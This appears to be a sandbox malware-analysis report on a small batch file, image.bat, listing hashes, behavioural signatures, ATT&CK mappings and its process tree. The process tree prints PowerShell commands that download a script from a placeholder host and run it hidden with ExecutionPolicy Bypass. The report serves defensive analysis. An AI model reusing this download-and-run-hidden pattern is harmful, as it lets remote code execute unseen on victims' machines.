8ca4fcbfc7ae6566a02358e2eb31b25ca5834a23fd2fc96fa1d0952ec5c88edb

Analysis

max time kernel
91s
max time network
119s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
12-10-2023 14:02

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General

Target

image.bat
Size

395B
MD5

13859b6b861d616f2a3e4923732af595
SHA1

971abd40868e15a2ac78f231f6aeed1b28e65879
SHA256

8ca4fcbfc7ae6566a02358e2eb31b25ca5834a23fd2fc96fa1d0952ec5c88edb
SHA512

b8a751bfa5d974efd1adb8ee358dca556d0103e2ca8df9a31bdc3ded0e84c42b932caad49bc90ad11107d08f81ea6b63bb3920f50d37f835c93cf6f3cab17213

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	1768	powershell.exe
10	1768	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1768	powershell.exe
1768	powershell.exe
1284	powershell.exe
1284	powershell.exe
3924	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1768	powershell.exe
Token: SeDebugPrivilege	1284	powershell.exe
Token: SeDebugPrivilege	3924	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 5072 wrote to memory of 1768	5072	cmd.exe	82
PID 5072 wrote to memory of 1768	5072	cmd.exe	82
PID 5072 wrote to memory of 1284	5072	cmd.exe	89
PID 5072 wrote to memory of 1284	5072	cmd.exe	89
PID 5072 wrote to memory of 3924	5072	cmd.exe	91
PID 5072 wrote to memory of 3924	5072	cmd.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\image.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Invoke-WebRequest "https://static.onecms.io/wp-content/uploads/sites/24/2021/04/26/GettyImages-185743593-2000.jpg" -Outfile "doggy.jpg"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Invoke-WebRequest -Uri site hosting your powershell script -OutFile .\power.ps1;
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  PowerShell -windowstyle hidden -NoProfile -ExecutionPolicy Bypass -file "power.ps1"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0f6a3762a04bbb03336fb66a040afb97

SHA1
0a0495c79f3c8f4cb349d82870ad9f98fbbaac74

SHA256
36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383

SHA512
cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xfepjrhz.cqz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1284-30-0x0000015ACF280000-0x0000015ACF290000-memory.dmp

Filesize
64KB

Download
memory/1284-33-0x00007FFA5D380000-0x00007FFA5DE41000-memory.dmp

Filesize
10.8MB

Download
memory/1284-31-0x0000015ACF280000-0x0000015ACF290000-memory.dmp

Filesize
64KB

Download
memory/1284-29-0x00007FFA5D380000-0x00007FFA5DE41000-memory.dmp

Filesize
10.8MB

Download
memory/1768-12-0x000002154B330000-0x000002154B340000-memory.dmp

Filesize
64KB

Download
memory/1768-16-0x00007FFA5D380000-0x00007FFA5DE41000-memory.dmp

Filesize
10.8MB

Download
memory/1768-11-0x000002154B330000-0x000002154B340000-memory.dmp

Filesize
64KB

Download
memory/1768-10-0x00007FFA5D380000-0x00007FFA5DE41000-memory.dmp

Filesize
10.8MB

Download
memory/1768-9-0x000002154B470000-0x000002154B492000-memory.dmp

Filesize
136KB

Download
memory/3924-43-0x00007FFA5D380000-0x00007FFA5DE41000-memory.dmp

Filesize
10.8MB

Download
memory/3924-46-0x0000024F76BE0000-0x0000024F76BF0000-memory.dmp

Filesize
64KB

Download
memory/3924-44-0x0000024F76BE0000-0x0000024F76BF0000-memory.dmp

Filesize
64KB

Download
memory/3924-48-0x00007FFA5D380000-0x00007FFA5DE41000-memory.dmp

Filesize
10.8MB

Download